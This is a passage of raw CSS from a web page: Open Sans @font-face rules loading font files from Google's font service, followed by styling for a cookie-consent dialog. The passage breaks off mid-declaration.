Sans';font-style:normal;font-weight:500;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTUGmu1aB.woff2)format('woff2');unicode-range:U+0001-000C,U+000E-001F,U+007F-009F,U+20DD-20E0,U+20E2-20E4,U+2150-218F,U+2190,U+2192,U+2194-2199,U+21AF,U+21E6-21F0,U+21F3,U+2218-2219,U+2299,U+22C4-22C6,U+2300-243F,U+2440-244A,U+2460-24FF,U+25A0-27BF,U+2800-28FF,U+2921-2922,U+2981,U+29BF,U+29EB,U+2B00-2BFF,U+4DC0-4DFF,U+FFF9-FFFB,U+10140-1018E,U+10190-1019C,U+101A0,U+101D0-101FD,U+102E0-102FB,U+10E60-10E7E,U+1D2C0-1D2D3,U+1D2E0-1D37F,U+1F000-1F0FF,U+1F100-1F1AD,U+1F1E6-1F1FF,U+1F30D-1F30F,U+1F315,U+1F31C,U+1F31E,U+1F320-1F32C,U+1F336,U+1F378,U+1F37D,U+1F382,U+1F393-1F39F,U+1F3A7-1F3A8,U+1F3AC-1F3AF,U+1F3C2,U+1F3C4-1F3C6,U+1F3CA-1F3CE,U+1F3D4-1F3E0,U+1F3ED,U+1F3F1-1F3F3,U+1F3F5-1F3F7,U+1F408,U+1F415,U+1F41F,U+1F426,U+1F43F,U+1F441-1F442,U+1F444,U+1F446-1F449,U+1F44C-1F44E,U+1F453,U+1F46A,U+1F47D,U+1F4A3,U+1F4B0,U+1F4B3,U+1F4B9,U+1F4BB,U+1F4BF,U+1F4C8-1F4CB,U+1F4D6,U+1F4DA,U+1F4DF,U+1F4E3-1F4E6,U+1F4EA-1F4ED,U+1F4F7,U+1F4F9-1F4FB,U+1F4FD-1F4FE,U+1F503,U+1F507-1F50B,U+1F50D,U+1F512-1F513,U+1F53E-1F54A,U+1F54F-1F5FA,U+1F610,U+1F650-1F67F,U+1F687,U+1F68D,U+1F691,U+1F694,U+1F698,U+1F6AD,U+1F6B2,U+1F6B9-1F6BA,U+1F6BC,U+1F6C6-1F6CF,U+1F6D3-1F6D7,U+1F6E0-1F6EA,U+1F6F0-1F6F3,U+1F6F7-1F6FC,U+1F700-1F7FF,U+1F800-1F80B,U+1F810-1F847,U+1F850-1F859,U+1F860-1F887,U+1F890-1F8AD,U+1F8B0-1F8BB,U+1F8C0-1F8C1,U+1F900-1F90B,U+1F93B,U+1F946,U+1F984,U+1F996,U+1F9E9,U+1FA00-1FA6F,U+1FA70-1FA7C,U+1FA80-1FA89,U+1FA8F-1FAC6,U+1FACE-1FADC,U+1FADF-1FAE9,U+1FAF0-1FAF8,U+1FB00-1FBFF;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:500;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSCmu1aB.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:500;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSGmu1aB.woff2)format('woff2');unicode-range:U+0100-02BA,U+02BD-02C5,U+02C7-02CC,U+02CE-02D7,U+02DD-02FF,U+0304,U+0308,U+0329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:500;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:600;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C8A,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:600;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2)format('woff2');unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:600;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:600;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSymu1aB.woff2)format('woff2');unicode-range:U+0370-0377,U+037A-037F,U+0384-038A,U+038C,U+038E-03A1,U+03A3-03FF;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:600;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS2mu1aB.woff2)format('woff2');unicode-range:U+0307-0308,U+0590-05FF,U+200C-2010,U+20AA,U+25CC,U+FB1D-FB4F;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:600;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTVOmu1aB.woff2)format('woff2');unicode-range:U+0302-0303,U+0305,U+0307-0308,U+0310,U+0312,U+0315,U+031A,U+0326-0327,U+032C,U+032F-0330,U+0332-0333,U+0338,U+033A,U+0346,U+034D,U+0391-03A1,U+03A3-03A9,U+03B1-03C9,U+03D1,U+03D5-03D6,U+03F0-03F1,U+03F4-03F5,U+2016-2017,U+2034-2038,U+203C,U+2040,U+2043,U+2047,U+2050,U+2057,U+205F,U+2070-2071,U+2074-208E,U+2090-209C,U+20D0-20DC,U+20E1,U+20E5-20EF,U+2100-2112,U+2114-2115,U+2117-2121,U+2123-214F,U+2190,U+2192,U+2194-21AE,U+21B0-21E5,U+21F1-21F2,U+21F4-2211,U+2213-2214,U+2216-22FF,U+2308-230B,U+2310,U+2319,U+231C-2321,U+2336-237A,U+237C,U+2395,U+239B-23B7,U+23D0,U+23DC-23E1,U+2474-2475,U+25AF,U+25B3,U+25B7,U+25BD,U+25C1,U+25CA,U+25CC,U+25FB,U+266D-266F,U+27C0-27FF,U+2900-2AFF,U+2B0E-2B11,U+2B30-2B4C,U+2BFE,U+3030,U+FF5B,U+FF5D,U+1D400-1D7FF,U+1EE00-1EEFF;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:600;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTUGmu1aB.woff2)format('woff2');unicode-range:U+0001-000C,U+000E-001F,U+007F-009F,U+20DD-20E0,U+20E2-20E4,U+2150-218F,U+2190,U+2192,U+2194-2199,U+21AF,U+21E6-21F0,U+21F3,U+2218-2219,U+2299,U+22C4-22C6,U+2300-243F,U+2440-244A,U+2460-24FF,U+25A0-27BF,U+2800-28FF,U+2921-2922,U+2981,U+29BF,U+29EB,U+2B00-2BFF,U+4DC0-4DFF,U+FFF9-FFFB,U+10140-1018E,U+10190-1019C,U+101A0,U+101D0-101FD,U+102E0-102FB,U+10E60-10E7E,U+1D2C0-1D2D3,U+1D2E0-1D37F,U+1F000-1F0FF,U+1F100-1F1AD,U+1F1E6-1F1FF,U+1F30D-1F30F,U+1F315,U+1F31C,U+1F31E,U+1F320-1F32C,U+1F336,U+1F378,U+1F37D,U+1F382,U+1F393-1F39F,U+1F3A7-1F3A8,U+1F3AC-1F3AF,U+1F3C2,U+1F3C4-1F3C6,U+1F3CA-1F3CE,U+1F3D4-1F3E0,U+1F3ED,U+1F3F1-1F3F3,U+1F3F5-1F3F7,U+1F408,U+1F415,U+1F41F,U+1F426,U+1F43F,U+1F441-1F442,U+1F444,U+1F446-1F449,U+1F44C-1F44E,U+1F453,U+1F46A,U+1F47D,U+1F4A3,U+1F4B0,U+1F4B3,U+1F4B9,U+1F4BB,U+1F4BF,U+1F4C8-1F4CB,U+1F4D6,U+1F4DA,U+1F4DF,U+1F4E3-1F4E6,U+1F4EA-1F4ED,U+1F4F7,U+1F4F9-1F4FB,U+1F4FD-1F4FE,U+1F503,U+1F507-1F50B,U+1F50D,U+1F512-1F513,U+1F53E-1F54A,U+1F54F-1F5FA,U+1F610,U+1F650-1F67F,U+1F687,U+1F68D,U+1F691,U+1F694,U+1F698,U+1F6AD,U+1F6B2,U+1F6B9-1F6BA,U+1F6BC,U+1F6C6-1F6CF,U+1F6D3-1F6D7,U+1F6E0-1F6EA,U+1F6F0-1F6F3,U+1F6F7-1F6FC,U+1F700-1F7FF,U+1F800-1F80B,U+1F810-1F847,U+1F850-1F859,U+1F860-1F887,U+1F890-1F8AD,U+1F8B0-1F8BB,U+1F8C0-1F8C1,U+1F900-1F90B,U+1F93B,U+1F946,U+1F984,U+1F996,U+1F9E9,U+1FA00-1FA6F,U+1FA70-1FA7C,U+1FA80-1FA89,U+1FA8F-1FAC6,U+1FACE-1FADC,U+1FADF-1FAE9,U+1FAF0-1FAF8,U+1FB00-1FBFF;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:600;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSCmu1aB.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:600;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSGmu1aB.woff2)format('woff2');unicode-range:U+0100-02BA,U+02BD-02C5,U+02C7-02CC,U+02CE-02D7,U+02DD-02FF,U+0304,U+0308,U+0329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Open Sans';font-style:normal;font-weight:600;font-stretch:100%;font-display:block;src:url(//fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}</style><style>div.fc-consent-root, .fc-consent-root a:link, .fc-consent-root div,.fc-consent-root h1,.fc-consent-root h2,.fc-consent-root a,.fc-consent-root p,.fc-consent-root button,.fc-consent-root i,.fc-consent-root input,.fc-consent-root label,.fc-consent-root span,.fc-consent-root ul,.fc-consent-root li,.fc-consent-root hr,.fc-consent-root img,.fc-consent-root br,.fc-consent-root footer{-webkit-app-region: none; -webkit-appearance: none; -webkit-border-horizontal-spacing: 0; -webkit-border-image: none; -webkit-border-vertical-spacing: 0; -webkit-box-align: stretch; -webkit-box-decoration-break: slice; -webkit-box-direction: normal; -webkit-box-flex: 0; -webkit-box-ordinal-group: 1; -webkit-box-orient: horizontal; -webkit-box-pack: start; -webkit-box-reflect: none; -webkit-font-smoothing: auto; -webkit-highlight: none; -webkit-hyphenate-character: auto; -webkit-line-break: auto; -webkit-line-clamp: none; -webkit-locale: auto; -webkit-margin-after-collapse: collapse; -webkit-margin-before-collapse: collapse; -webkit-mask-box-image-outset: 0; -webkit-mask-box-image-repeat: stretch; -webkit-mask-box-image-slice: 0 fill; -webkit-mask-box-image-source: none; -webkit-mask-box-image-width: auto; -webkit-mask-box-image: none; -webkit-mask-clip: border-box; -webkit-mask-composite: source-over; -webkit-mask-image: none; -webkit-mask-origin: border-box; -webkit-mask-position: 0% 0%; -webkit-mask-repeat: repeat; -webkit-mask-size: auto; -webkit-print-color-adjust: economy; -webkit-rtl-ordering: logical; -webkit-tap-highlight-color: rgba(0, 0, 0, 0.4); -webkit-text-combine: none; -webkit-text-decorations-in-effect: none; -webkit-text-emphasis-color: rgb(0, 0, 0); -webkit-text-emphasis-position: over right; -webkit-text-emphasis-style: none; -webkit-text-orientation: vertical-right; -webkit-text-security: none; -webkit-text-stroke-color: rgb(0, 0, 0); -webkit-text-stroke-width: 0; -webkit-user-drag: auto; -webkit-writing-mode: horizontal-tb; align-content: normal; align-items: normal; align-self: auto; alignment-baseline: auto; animation-delay: 0s; animation-direction: normal; animation-duration: 0s; animation-fill-mode: none; animation-iteration-count: 1; animation-name: none; animation-play-state: running; animation-timing-function: ease; backdrop-filter: none; backface-visibility: visible; background-attachment: scroll; background-blend-mode: normal; background-clip: border-box; background-color: rgba(0, 0, 0, 0); background-image: none; background-origin: padding-box; background-position: 0% 0%; background-repeat: repeat; background-size: auto; baseline-shift: 0; border-bottom-color: rgb(0, 0, 0); border-bottom-left-radius: 0; border-bottom-right-radius: 0; border-bottom-style: none; border-bottom-width: 0; border-collapse: separate; border-image-outset: 0; border-image-repeat: stretch; border-image-slice: 100%; border-image-source: none; border-image-width: 1; border-left-color: rgb(0, 0, 0); border-left-style: none; border-left-width: 0; border-right-color: rgb(0, 0, 0); border-right-style: none; border-right-width: 0; border-top-color: rgb(0, 0, 0); border-top-left-radius: 0; border-top-right-radius: 0; border-top-style: none; border-top-width: 0; bottom: auto; box-shadow: none; box-sizing: content-box; break-after: auto; break-before: auto; break-inside: auto; buffered-rendering: auto; caption-side: top; caret-color: rgb(0, 0, 0); clear: none; clip-path: none; clip-rule: nonzero; clip: auto; color-interpolation-filters: linearrgb; color-interpolation: srgb; color-rendering: auto; color: rgb(0, 0, 0); column-count: auto; column-gap: normal; column-rule-color: rgb(0, 0, 0); column-rule-style: none; column-rule-width: 0; column-span: none; column-width: auto; content: normal; cursor: auto; cx: 0; cy: 0; d: none; display: inline; dominant-baseline: auto; empty-cells: show; fill-opacity: 1; fill-rule: nonzero; fill: rgb(0; 0; 0); filter: none; flex-basis: auto; flex-direction: row; flex-grow: 0; flex-shrink: 1; flex-wrap: nowrap; float: none; flood-color: rgb(0, 0, 0); flood-opacity: 1; font-kerning: auto; font-optical-sizing: auto; font-size: 16px; font-stretch: 100%; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-numeric: normal; font-variant: normal; font-weight: 400; grid-auto-columns: auto; grid-auto-flow: row; grid-auto-rows: auto; grid-column-end: auto; grid-column-start: auto; grid-row-end: auto; grid-row-start: auto; grid-template-areas: none; grid-template-columns: none; grid-template-rows: none; height: auto; hyphens: manual; image-rendering: auto; isolation: auto; justify-content: normal; justify-items: normal; justify-self: auto; left: auto; letter-spacing: normal; lighting-color: rgb(255, 255, 255); line-break: auto; line-height: normal; list-style-image: none; list-style-position: outside; list-style-type: disc; margin-bottom: 0; margin-left: 0; margin-right: 0; margin-top: 0; marker-end: none; marker-mid: none; marker-start: none; mask-type: luminance; mask: none; max-height: none; max-width: none; min-height: 0; min-width: 0; mix-blend-mode: normal; object-fit: fill; object-position: 50% 50%; offset-distance: 0; offset-path: none; offset-rotate: auto 0deg; opacity: 1; order: 0; orphans: 2; outline-color: rgb(0, 0, 0); outline-offset: 0; outline-style: none; outline-width: 0; overflow-anchor: auto; overflow-wrap: normal; overflow-x: visible; overflow-y: visible; padding-bottom: 0; padding-left: 0; padding-right: 0; padding-top: 0; paint-order: normal; perspective-origin: 0 0; perspective: none; pointer-events: auto; position: static; r: 0; resize: none; right: auto; row-gap: normal; rx: auto; ry: auto; scale: none; scroll-behavior: auto; shape-image-threshold: 0; shape-margin: 0; shape-outside: none; shape-rendering: auto; speak: normal; stop-color: rgb(0, 0, 0); stop-opacity: 1; stroke-dasharray: none; stroke-dashoffset: 0; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterlimit: 4; stroke-opacity: 1; stroke-width: 1px; stroke: none; tab-size: 8; table-layout: auto; text-align-last: auto; text-align: start; text-anchor: start; text-decoration-color: rgb(0, 0, 0); text-decoration-line: none; text-decoration-skip-ink: auto; text-decoration-style: solid; text-decoration: none solid rgb(0, 0, 0); text-indent: 0; text-overflow: clip; text-rendering: auto; text-shadow: none; text-size-adjust: auto; text-transform: none; text-underline-position: auto; top: auto; touch-action: auto; transform-origin: 0 0; transform-style: flat; transform: none; transition-delay: 0s; transition-duration: 0s; transition-property: all; transition-timing-function: ease; unicode-bidi: normal; user-select: auto; vector-effect: none; vertical-align: baseline; visibility: visible; white-space: normal; widows: 2; width: auto; will-change: auto; word-break: normal; word-spacing: 0; writing-mode: horizontal-tb; x: 0; y: 0; z-index: auto; zoom: 1;}.fc-consent-root div, .fc-consent-root h1, .fc-consent-root h2, .fc-consent-root p, .fc-consent-root button, .fc-consent-root ul, .fc-consent-root li {display: block;}.fc-consent-root a:link, .fc-consent-root a p {cursor: pointer; position: relative;}.fc-consent-root button, .fc-consent-root button div, .fc-consent-root button p, .fc-consent-root .fc-button, .fc-consent-root .fc-button div, .fc-consent-root .fc-button p {cursor: pointer;}.fc-consent-root a:hover {filter: brightness(80%);}.fc-consent-root button:focus p:not(.fc-button-text), .fc-consent-root button:focus, .fc-consent-root .fc-button:focus, .fc-consent-root a:focus, .fc-consent-root .fc-toggle input:focus, .fc-consent-root .fc-dropdown-selection:focus, .fc-consent-root .fc-dropdown-menu-item:focus {box-shadow: 0 0 0 3px #fff; outline: 2px #174ea6 solid;}@supports selector(:focus-visible) {.fc-consent-root button:focus p:not(.fc-button-text), .fc-consent-root button:focus, .fc-consent-root .fc-button:focus, .fc-consent-root a:focus, .fc-consent-root .fc-toggle input:focus, .fc-consent-root .fc-dropdown-selection:focus, .fc-consent-root .fc-dropdown-menu-item:focus {box-shadow: none; outline: none;}.fc-consent-root button:focus-visible::before, .fc-consent-root a:focus-visible::before, .fc-consent-root input:focus-visible::before, .fc-consent-root .fc-dropdown-selection-container:focus-visible::before, .fc-consent-root .fc-dropdown-menu-item:focus::before {border: 2px solid #174ea6; border-radius: 6px; content: ''; inset: -4px; position: absolute;}.fc-consent-root button:focus-visible::after, .fc-consent-root a:focus-visible::after, .fc-consent-root input:focus-visible::after, .fc-consent-root .fc-dropdown-selection-container:focus-visible::after, .fc-consent-root .fc-dropdown-menu-item:focus::after {border: 2px solid #e8f0fe; border-radius: 8px; content: ''; inset: -6px; position: absolute;}.fc-consent-root button.fc-icon-button:focus-visible::before {inset: -2px;}.fc-consent-root button.fc-icon-button:focus-visible::after {inset: -4px;}.fc-consent-root button.fc-list-item-button:focus-visible::before {left: 2px; width: calc(100% - 8px)}.fc-consent-root button.fc-list-item-button:focus-visible::after {left: 0; width: calc(100% - 4px)}}.fc-consent-root .fc-button, .fc-consent-root .fc-choice-dialog, .fc-consent-root .fc-faq-item, .fc-consent-root .fc-data-preferences-dialog, .fc-consent-root .fc-dialog-header-back-button, .fc-consent-root .fc-navigation-button, .fc-consent-root .fc-vendor-preferences-dialog, .fc-consent-root .fc-preference-slider, .fc-consent-root .fc-preference-consent, .fc-consent-root .fc-preference-legitimate-interest, .fc-consent-root .fc-slider-el, .fc-consent-root .fc-help-dialog-container, .fc-consent-root .fc-help-dialog-close-button {outline: 1px solid transparent;}div.fc-consent-root {position: fixed; z-index: 2147483644;align-items: center; float: top; height: 100%; left: 0; overflow-x: auto; top: 0;align-items: center; display: flex; justify-content: center; width: 100%;}div.fc-consent-root {font-family: Open Sans, sans-serif;direction: ltr;}.fc-consent-root, .fc-consent-root h1, .fc-consent-root h2, .fc-consent-root p, .fc-consent-root span, .fc-consent-root li {-moz-font-feature-settings: "kern" 1; -moz-osx-font-smoothing: grayscale; -webkit-font-feature-settings: "kern" 1; -webkit-font-smoothing: antialiased; font-feature-settings: "kern" 1; font-kerning: normal; text-rendering: optimizelegibility;}.fc-consent-root .fc-dialog-overlay, .fc-consent-root .fc-help-dialog-overlay {background-color: black; height: 100%; left: 0; opacity: 0.6; position: fixed; top: 0; width: 100%; z-index: -1;}.fc-consent-root .fc-header {display: flex; flex-direction: column; justify-content: center; width: 100%;}.fc-consent-root .fc-header-text {line-height: 1.5em;overflow-wrap: break-word;font-weight: 700;font-style: normal;text-decoration: initial;text-align: center;font-family: 'Open Sans';color: #5F6368;font-size: 1em;}.fc-consent-root .fc-header-image-container {display: flex; flex-direction: row;justify-content: center;margin: 0 auto; -ms-flex-align: center}.fc-consent-root .fc-header-image {max-height: 60px; min-height: 40px; object-fit: contain;}.fc-consent-root .fc-dialog-container {display: flex;}.fc-consent-root .fc-dialog-container {max-width: 512px; width: 90%;}.fc-consent-root .fc-dialog {max-height: 80vh;background-color: #fff;border: 1px solid rgba(0, 0, 0, 0.2); border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.16);display: flex; flex-direction: column; width: 100%;}.fc-consent-root .fc-dialog-content {flex: 1 1 auto; overflow-y: auto;}@supports (scrollbar-gutter: stable both-edges) {.fc-consent-root .fc-dialog-content {scrollbar-gutter: stable both-edges;}}.fc-consent-root .fc-dialog-scrollable-content {display: flex; flex-direction: column; justify-content: center; width: 100%;}.fc-consent-root .fc-dialog-restricted-content {align-self: center; flex: 1 1 auto;max-width: 416px;width: calc(100% - 48px);}.fc-consent-root .fc-dialog-header {background-color: #ffffffe6; border-radius: 8px 8px 0 0; flex: 0 0 auto; position: relative; width: 100%; z-index: 1;}.fc-consent-root .fc-choice-dialog-header {background-color: #ffffffe6; border-radius: 8px 8px 0 0; flex: 0 0 auto; height: 24px; position: relative; width: 100%; z-index: 1;}.fc-consent-root .fc-dialog-header .fc-dialog-header-back-button {border: 0; left: 0; margin: 7px 0 0 4px; padding: 1px 6px; position: absolute; top: 0;}.fc-consent-root .fc-dialog-header .fc-dialog-header-back-button svg {cursor: pointer; fill: #5f6368;}.fc-consent-root .fc-data-preferences-header, .fc-consent-root .fc-vendor-preferences-header {margin: auto; max-width: calc(100% - 80px);}.fc-consent-root .fc-dialog-header p {color: #5f6368; font-size: 12px; font-weight: bold; margin: 12px 0; text-align: center;}.fc-consent-root .fc-site-macro-placeholder-image {border: 1px solid #dadce0; border-radius: 4px; box-sizing: border-box; padding: 12px 100px;}.fc-consent-root .fc-ump-sdk-app-icon-placeholder-image {border: 1px solid #dadce0; border-radius: 4px; box-sizing: border-box; padding: 8px;}.fc-consent-root .fc-iris-logo-image {height: 64px; width: 64px;}.fc-consent-root .fc-header-image {max-height: 64px;}.fc-consent-root .fc-header-image-container {max-height: 64px; padding-bottom: 4px;max-width: 100%; min-height: 40px;display: flex; flex-direction: row;justify-content: center;}.fc-consent-root .fc-dialog .fc-header h1 {overflow-wrap: break-word;font-weight: 700;font-style: normal;text-decoration: initial;text-align: center;font-family: 'Open Sans';color: #000000;}.fc-consent-root .fc-choice-dialog .fc-header h2:focus, .fc-consent-root .fc-data-preferences-dialog .fc-dialog-header p:focus, .fc-consent-root .fc-vendor-preferences-dialog .fc-dialog-header p:focus {outline: none;}@media screen and (max-width: 479px) {.fc-consent-root .fc-dialog .fc-header h1 {font-size: 16px;}.fc-consent-root .fc-choice-dialog .fc-header-image {max-height: 40px;}}@media screen and (min-width: 480px) {.fc-consent-root .fc-dialog .fc-header h1 {font-size: 18px;}}.fc-consent-root .fc-dialog .fc-header h1, .fc-consent-root .fc-dialog .fc-header h2, .fc-consent-root .fc-dialog .fc-header .fc-header-image-container, .fc-consent-root .fc-dialog .fc-header .fc-header-text {margin: 12px 0;}.fc-consent-root .fc-dialog div.fc-header {font-size: 14px;}.fc-consent-root .fc-dialog .fc-header h2.fc-dialog-title {overflow-wrap: break-word;font-weight: 700;font-style: normal;text-decoration: initial;text-align: center;font-family: 'Open Sans';color: #5F6368;}.fc-consent-root .fc-dialog .fc-header h2, .fc-consent-root .fc-dialog .fc-header .fc-header-image-container, .fc-consent-root .fc-dialog .fc-header .fc-header-text {overflow-wrap: break-word;font-weight: 700;font-style: normal;text-decoration: initial;text-align: center;font-family: 'Open Sans';color: #5F6368;margin-top: 24px;line-height: normal; margin-bottom: 0;}.fc-consent-root .fc-dialog .fc-footer p {color: #5f6368; font-size: 12px; line-height: 16px; margin: 12px 0; text-align: left;}.fc-consent-root .fc-dialog .fc-footer a, .fc-consent-root .fc-dialog .fc-footer a:visited {color: #1967d2; cursor: pointer; font: inherit; text-decoration: none;}@media screen and (max-width: 479px) {.fc-consent-root .fc-data-preferences-dialog .fc-body, .fc-consent-root .fc-vendor-preferences-dialog .fc-body {font-size: 14px;}.fc-consent-root .fc-data-preferences-dialog .fc-body p, .fc-consent-root .fc-data-preferences-dialog .fc-noneditable-body p, .fc-consent-root .fc-vendor-preferences-dialog .fc-body p {font-size: 14px; line-height: 20px; margin-bottom: 24px;}}@media screen and (min-width: 480px) {.fc-consent-root .fc-data-preferences-dialog .fc-body, .fc-consent-root .fc-vendor-preferences-dialog .fc-body {font-size: 16px;}.fc-consent-root .fc-data-preferences-dialog .fc-body p, .fc-consent-root .fc-data-preferences-dialog .fc-noneditable-body p, .fc-consent-root .fc-vendor-preferences-dialog .fc-body p {font-size: 16px; line-height: 24px; margin-bottom: 24px;}}.fc-consent-root .fc-data-preferences-dialog .fc-body p, .fc-consent-root .fc-data-preferences-dialog .fc-noneditable-body p, .fc-consent-root .fc-vendor-preferences-dialog .fc-body p {overflow-wrap: break-word;font-weight: normal;font-style: normal;text-decoration: initial;text-align: left;font-family: 'Open Sans';color: #5F6368;}.fc-consent-root .fc-footer-buttons-container {align-items: center; border-radius: 0 0 8px 8px; bottom: 0; display: flex; flex: 0 0 auto; flex-direction: column; justify-content: center; left: 0; padding: 0 16px 8px 16px; width: calc(100% - 32px); z-index: 1;}.fc-consent-root .fc-footer-buttons-divider {background-color: #dadce0; height: 1px; margin-bottom: 8px; z-index: 1;}.fc-consent-root .fc-choice-dialog .fc-footer-buttons-divider {max-width: 416px;width: calc(100% - 48px);}.fc-consent-root .fc-data-preferences-dialog .fc-footer-buttons-divider, .fc-consent-root .fc-vendor-preferences-dialog .fc-footer-buttons-divider {width: calc(100% + 32px);}.fc-consent-root .fc-data-preferences-dialog a, .fc-consent-root .fc-vendor-preferences-dialog a {cursor: pointer;}.fc-consent-root .fc-footer-buttons {display: flex; flex: 1 1 0; justify-content: center;max-width: 416px;width: 100%; z-index: 1;}.fc-consent-root .fc-button {background: rgba(0,0,0,0); border: 0; cursor: pointer; flex: 1; height: 38px; margin: 8px 0; position: relative;}.fc-consent-root .fc-button .fc-button-background {border-radius: 20px; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: -1;}.fc-consent-root .fc-primary-button .fc-button-background {background-color: #1967D2;}.fc-consent-root .fc-secondary-button .fc-button-background {background-color: #1967D2; border: none;}.fc-consent-root .fc-button-label {overflow-wrap: break-word;font-weight: 700;font-style: normal;text-decoration: initial;text-align: center;font-family: 'Open Sans';color: #FFFFFF;font-size: 14px;letter-spacing: normal; line-height: 20px; margin: 9px 0;}.fc-consent-root .fc-primary-button .fc-button-label {color: #FFFFFF;}.fc-consent-root .fc-secondary-button .fc-button-label {color: #FFFFFF;}.fc-consent-root .fc-manage-options-third-button-label {color: #1967D2; font-size: 14px; font-weight: 600; letter-spacing: normal; line-height: 20px; margin: 9px 0;}.fc-consent-root .fc-button:hover .fc-button-background {filter: brightness(90%);}@media screen and (max-width: 480px) {.fc-consent-root .fc-footer-buttons {align-items: stretch; flex: 1 1 auto; flex-direction: column;}.fc-consent-root .fc-footer-buttons .fc-button {font-size: 14px;}.fc-consent-root .fc-choice-dialog .fc-footer-buttons-container {height: 172px;}.fc-consent-root .fc-footer-buttons-container {height: 130px;}.fc-consent-root .fc-button {flex: 1 1 auto; flex-shrink: 0; height: auto;}.fc-consent-root .fc-primary-button {order: 1;}.fc-consent-root .fc-secondary-button {order: 2;}}@media screen and (min-width: 481px) {.fc-consent-root .fc-footer-buttons {align-items: center; flex-direction: row;}.fc-consent-root .fc-footer-buttons .fc-button {font-size: 14px;}.fc-consent-root .fc-primary-button {margin-left: 12px; order: 2;}.fc-consent-root .fc-choice-dialog .fc-footer-buttons-container {height: 110px;}.fc-consent-root .fc-footer-buttons-container {height: 76px;}.fc-consent-root .fc-secondary-button {margin-right: 12px; order: 1;}}.fc-consent-root .fc-stacks {margin-top: 8px;}.fc-consent-root .fc-stacks ul {list-style-type: none;}.fc-consent-root .fc-stacks ul li {align-items: center; display: flex; flex-direction: row; padding-bottom: 16px;}.fc-consent-root .fc-stacks .fc-stack-name {color: #3c4043; font-size: 12px; font-weight: 600; line-height: 16px; margin-top: 5px; width: calc(100% - 44px);}.fc-consent-root .fc-stacks .fc-stack-icon {align-items: center; background-color: #1967D23D; border-radius: 14px; display: flex; flex-direction: row; height: 28px; justify-content: center; margin-right: 16px; width: 28px;}.fc-consent-root .fc-stacks .fc-stack-icon svg {display: flex; fill: #1967D2;}.fc-consent-root .fc-launch-icon-svg {cursor: pointer; fill: 